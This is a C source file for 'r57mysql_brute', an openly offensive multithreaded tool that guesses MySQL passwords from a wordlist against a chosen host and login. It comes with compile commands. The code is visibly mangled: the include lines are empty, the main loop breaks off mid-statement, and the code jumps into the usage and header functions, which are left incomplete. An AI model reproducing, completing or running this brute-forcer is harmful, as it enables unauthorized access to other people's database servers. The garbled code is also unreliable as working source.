/* r57mysql_brute - little bruteforce tool for MySQL compile: gcc -c `mysql_config --cflags` r57mysql_brute.c gcc -o r57mysql_brute r57mysql_brute.o `mysql_config --libs` -lpthread */ #include #include #include #include #define SZ 0x32 #define TN 50 // threads number void header(); void usage(char *); void *check(void *); // globals pthread_mutex_t mtx = PTHREAD_MUTEX_INITIALIZER; FILE *wordlist; char *login = NULL; char *host = NULL; char *file = NULL; int port = 0; int verbose = 0; int all = 0; int found = 0; char res[SZ]; int count = 0; int main(int argc, char *argv[]) { pthread_t tid[TN]; char c; int i = 0; while((c = getopt(argc, argv, "h:p:l:w:v"))!= EOF) { switch (c) { case 'h': host=optarg; break; case 'l': login=optarg; break; case 'w': file=optarg; break; case 'p': port=atoi(optarg); break; case 'v': verbose = 1; break; default: usage(argv[0]); break; } } if(file==NULL||login==NULL) usage(argv[0]); header(); if((wordlist = fopen(file, "r")) == 0) { printf("[-] Can't open wordlist file %s\n",file); exit(1); } printf("[!] Bruteforce in progress...\n"); for(i=0;i -w [options]\n",name); printf("Options:\n"); printf(" -h - MySQL host\n"); printf(" -p - MySQL port\n"); printf(" -v - verbose output\n"); exit(0); } void header() { printf("################################################\n" "# r57mysql_brute - little bruteforce for MySQL #\n" "################################################\n" }